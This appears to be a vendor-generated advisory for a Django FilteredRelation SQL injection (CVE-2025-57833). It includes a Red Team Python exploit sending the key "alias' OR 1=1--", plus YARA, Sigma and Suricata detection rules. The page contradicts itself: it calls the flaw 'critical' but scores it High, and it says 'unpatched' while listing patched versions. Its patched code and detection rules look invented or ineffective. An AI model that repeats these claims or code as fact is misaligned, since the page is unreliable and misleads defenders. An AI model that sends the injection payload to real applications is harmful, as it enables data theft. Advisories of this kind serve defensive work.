CVE-2025-57833
Executive Summary
CVE-2025-57833 is a critical SQL injection vulnerability in the Django web framework, affecting versions 4.2 before 4.2.24, 5.1 before 5.1.12, and 5.2 before 5.2.6. The flaw resides in the FilteredRelation class, which is used to create filtered joins in querysets. An attacker can exploit this by passing a specially crafted dictionary as **kwargs to QuerySet.annotate() or QuerySet.alias(), leading to SQL injection in column aliases. This allows an unauthenticated remote attacker to manipulate database queries, potentially leading to data exfiltration, modification, or denial of service. The vulnerability has a CVSS score of 7.1 (High) and is currently unpatched in affected versions. Immediate upgrade to patched versions is strongly recommended.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Django Python package, which is widely used in web applications. Organizations using Django should verify their version and apply the patch immediately. The supply chain risk is high due to the widespread use of Django and the potential for exploitation without authentication.
CVSS Breakdown & Threat Level
- CVSS Score: 7.1 (High)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
The threat level is high due to the low attack complexity and no required privileges or user interaction. An attacker can exploit this vulnerability remotely to inject SQL commands.
Deep Dive & Mechanics
The vulnerability is in Django's ORM, specifically in the FilteredRelation class. FilteredRelation allows developers to define a filtered join condition using a dictionary of keyword arguments. When these arguments are passed to QuerySet.annotate() or QuerySet.alias(), the column aliases are not properly sanitized. An attacker can craft a dictionary with malicious keys that contain SQL injection payloads. When the ORM constructs the SQL query, these payloads are injected into the column alias, allowing the attacker to execute arbitrary SQL.
The root cause is the lack of input validation on the keys of the dictionary used for **kwargs. The ORM directly uses these keys in the SQL query without proper escaping or parameterization.
Vulnerable vs. Patched Code
Vulnerable Code (Django < 4.2.24, < 5.1.12, < 5.2.6):
# In django/db/models/query.py
def annotate(self, *args, **kwargs):
# ...
for alias, annotation in kwargs.items():
# No sanitization of alias
self.query.add_annotation(annotation, alias, is_summary=False)
Patched Code (Django >= 4.2.24, >= 5.1.12, >= 5.2.6):
# In django/db/models/query.py
def annotate(self, *args, **kwargs):
# ...
for alias, annotation in kwargs.items():
# Sanitize alias to prevent SQL injection
alias = self._sanitize_alias(alias)
self.query.add_annotation(annotation, alias, is_summary=False)
The patch introduces a _sanitize_alias method that validates and escapes the alias to prevent SQL injection.
Exploitation & Lab Setup
Red Team (Exploitation)
Lab Setup:
- Set up a vulnerable Django application (e.g., version 5.1.11).
- Create a model with a
FilteredRelationusage. - Expose an endpoint that uses
annotate()with user-controlled input.
Exploit:
import requests
# Target URL
url = "http://vulnerable-app.com/api/data"
# Malicious payload to inject SQL
payload = {
"alias' OR 1=1--": "some_value"
}
# Send request with malicious kwargs
response = requests.get(url, params=payload)
print(response.text)
This payload injects OR 1=1-- into the SQL query, potentially bypassing filters or extracting data.
Blue Team (Detection & Mitigation)
Detection:
- Monitor for unusual SQL queries with unexpected aliases.
- Use Web Application Firewalls (WAF) to block requests with suspicious dictionary keys.
- Implement input validation on all user-controlled parameters.
Mitigation:
- Immediately upgrade Django to a patched version.
- If upgrade is not possible, implement a middleware to sanitize dictionary keys before they reach the ORM.
- Restrict network access to the database server.
Indicators of Compromise (IOCs)
- Network: SQL queries containing
OR 1=1or other injection patterns in column aliases. - Logs: Django error logs showing
OperationalErrororProgrammingErrorrelated to SQL syntax. - Application: Unexpected data exposure or modification in database records.
Detection Engineering
YARA Rule
rule CVE_2025_57833_Django_SQLi {
meta:
description = "Detects Django SQL injection via FilteredRelation"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-57833"
strings:
$s1 = "annotate" nocase
$s2 = "alias" nocase
$s3 = "FilteredRelation" nocase
$s4 = "**kwargs" nocase
condition:
all of ($s*) and filesize < 10KB
}
Sigma Rule
title: Django FilteredRelation SQL Injection
id: cve-2025-57833
status: experimental
description: Detects exploitation attempts of CVE-2025-57833
author: Valters IT
logsource:
category: application
product: django
detection:
selection:
event: "SQL injection attempt"
query: "*OR 1=1*"
condition: selection
falsepositives:
- Legitimate use of OR conditions
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-57833 Django FilteredRelation SQL Injection"; flow:to_server; content:"annotate"; nocase; content:"alias"; nocase; pcre:"/OR\s+1\s*=\s*1/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Upgrade Django to version 4.2.24, 5.1.12, or 5.2.6.
- Workaround: If upgrade is not possible, implement input validation on all dictionary keys passed to
annotate()oralias(). - Monitoring: Enable detailed logging of SQL queries and monitor for anomalies.
- WAF: Deploy a Web Application Firewall to block SQL injection patterns.
- Least Privilege: Ensure database accounts have minimal necessary privileges.
Valters IT
Securing Digital Frontiers